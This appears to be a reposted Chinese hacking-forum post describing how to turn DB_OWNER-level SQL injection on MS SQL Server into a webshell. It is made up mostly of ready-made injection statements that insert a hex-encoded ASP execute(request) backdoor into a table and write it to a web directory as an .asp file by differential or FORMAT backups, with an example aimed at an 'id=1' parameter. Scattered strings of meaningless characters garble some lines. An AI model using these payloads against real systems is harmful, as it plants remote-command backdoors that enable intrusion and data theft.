DB_OWNER权限得到webshell的改进方法

admin

减少备份文件大小，得到可执行的webshell成功率提高不少
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一利用差异备份
加一个参数WITH DIFFERENTIAL
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declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
6 N2 v. W7 w: B% C) O& M, Hcreate table [dbo].[xiaolu] ([cmd] [image]);
  k7 R1 Y" b( zinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL

二利用完全FORMAT
0 L7 f* i8 u! T0 Q% ?加一个参数WITH FROMAT
3 U. B9 x% w6 C  \0 g有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以

  {. F6 n; l( t. W7 F6 o. t4 X1 |+ c/ Udeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
/ @# |* ?( I0 i- y$ ?1 bdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT

总的来说就是那么简单几句,下面以备份数据库model为例子

id=1;use model create table cmd(str image);insert into cmd(str) values (”)
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1 p/ f- f3 ^3 ]; Q( g3 r! G* ~. nid=1;backup database model to disk=’你的路径‘ with differential,format;–